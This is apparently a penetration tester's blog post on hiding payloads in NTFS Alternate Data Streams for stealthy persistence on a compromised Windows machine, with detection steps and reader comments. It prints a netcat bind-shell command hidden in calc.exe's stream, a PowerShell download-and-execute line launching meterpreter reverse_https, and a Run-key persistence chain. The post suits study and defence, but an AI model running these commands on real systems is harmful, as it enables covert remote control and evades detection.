Using Alternate Data Streams to Persist on a Compromised Machine

Back in the days before Windows Vista, Alternate Data Streams used to be an acceptable way for malware authors to hide their malicious code. An Alternate Data Stream can be used to hide the presence of secret or malicious files inside a legitimate file. By putting malware in an ADS, Windows will contain information for the legitimate file as well as the malicious file.

For example:

C:\>type C:\nc.exe > C:\windows\system32\calc.exe:svchost.exe

C:\>start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe

The above commands will hide nc.exe in an Alternate Data Stream for calc.exe called svchost.exe and then start nc.exe from the ADS associated with calc.exe. Microsoft found this as an issue and removed the ability to run anything from ADS starting after Windows XP. In order to run your code that resides in an ADS, you would want to create a symlink using the mklink command. While this works, you have to have administrative rights on the machine in order to create the symlink. We all know users are not supposed to be running as an admin, so I tend to approach attack methods with the assumption that I will land on a box without admin rights.


Fortunately, I found a way to inject code into an Alternate Data Stream and execute it as a normal user. You can find the Powershell script here:


This persistence method contains two items that almost all Penetration Testers like: The method’s ability to operate as a standard user and the ability to avoid detection. It is also important to know that Alternate Data Streams cannot be viewed unless you specify the /a /r command when doing a directory listing. This is appealing because of the stealth the ADS provides.

Once you have compromised a machine, you can run the above Powershell script. The script takes two parameters: -URL and -Arguments. -URL is the URL to your payload and -Arguments is for storing any parameters your payload requires. When specifying the arguments, you have to quote them. It will look similar to this: -Arguments “BadFunction -Lhost -LPort 3333 -Payload weeeeee”. Note the “BadFunction” portion of the Arguments. If your Powershell script contains a function, you must include it as an argument.


Running this script on a compromised machine will look something like this. Depending on your payload, the string complexity will change. Here is an example that executes a payload with the function “hack” with no arguments. The function simply executes calc.exe:



And here is an example that executes the function “Invoke-Shellcode” and passes LHost, LPort and Payload to the function:



Looking at the command, we wrap the whole Powershell command in double quotes. That means when we get to our arguments, we have to quote them with single quotes:

powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-ADSBackdoor -URL -Arguments ‘Invoke-Shellcode -LHost -LPort 666 -Payload windows/meterpreter/reverse_https -Force’


After running the script, it will do the following:

-Encode the Powershell command that will execute your payload

-Create an Alternate Data Stream under the AppData folder and inject the Powershell Payload into it

-Create a VBS wrapper that will parse and execute the contents of the Alternate Data Stream containing the payload

-Create a second Alternate Data Stream under the AppData folder and inject the VBS wrapper into it

-Create a registry entry called “Update” in HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

When the user logs on next, the Registry key will use wscript.exe to execute the Alternate Data Stream for the VBS wrapper. Once executed, the VBS wrapper will parse through and execute the contents of the Alternate Data Stream containing the payload.

After running the script, we can do a simple “dir” to see if we see it.


As you can see, the AppData folder isn’t showing up. This is because it is a hidden system folder. To see it, we can do a “dir /a”


As you can now see, the AppData folder is showing up. From the looks of it, everything is fine. There doesn’t appear to be anything attached to it. To see what Alternate Data Streams exist, we can do a “dir /a /r”



Now we see two Alternate Data Streams under the AppData folder. One is called 4jrjuqekkpg.vbs and the other is called jkwsp3nf0ao.txt. These are the Alternate Data Streams that the Powershell persistence script created. It randomly generates a name for each Data Stream and shoves it into AppData. To see a little more about these two hidden streams, we can use streams.exe from SysInternals:


This verifies that there are two Alternate Data Streams associated with the AppData folder. We can dig a little deeper into these streams by using “more”:


Here we see that the Alternate Data Stream 4jrjuqekkpg.vbs  contains some VBScript. This is the wrapper that is simply used to suppress the shell prompt when Powershell and cmd.exe are executed. It then parses the Alternate Data Stream “jkwsp3nf0ao.txt” and executes it. This ensures that the user isn’t alerted to the attack. It is essential to know that 4jrjuqekkpg.vbs and jkwsp3nf0ao.txt are not written to the AppData folder, but instead are written to an Alternate Data Stream for AppData. Now that we know what the VBS wrapper does, let’s take a look at the ADS containing the payload:


As you can see, the payload contains powershell.exe and an encoded string. To get more info on the payload, we can decode the string:


Here we can see that the Alternate Data Stream jkwsp3nf0ao.txt actually contains code that shovels meterpreter back to an IP address on port 666 over HTTPS. The scary part about this is that most people have no idea Alternate Data Streams exist and if they do, they are unaware of how to go about looking for them. These Data Streams also don’t have much of a footprint on the file system.


As a recap, here is how this works. Run the Powershell script and specify a payload URL and any Arguments for the payload. The arguments need to be in quotes. The script will encode the Powershell command and inject it into an Alternate Data Stream under C:\Users\{username}\AppData while using a randomly generated file name. It will then inject some VBScript into a 2nd Alternate Data Stream that parses and executes the ADS containing the payload and then suppresses the console on execution. Once both Alternate Data Streams exist, it will then create a registry key that will use wscript.exe to run the Alternate Data Stream containing the VBS wrapper. When the VBS wrapper is executed, it will parse the Alternate Data Stream that contains the payload and execute it.

Remember, this persistence method works for standard user accounts and is fairly difficult to track down if you don’t know what to look for.


Have fun!

Matt N. (@enigma0x3)

2 thoughts on “Using Alternate Data Streams to Persist on a Compromised Machine

  1. Thanks for this idea.
    However HKCU\Run is one of the first place where a forensic guy will look, and discover the ADS etc.
    You may choose another persistent trick (wmi-events for eg.) to be more stealthy.

Leave a Reply to enigma0x3 Cancel reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s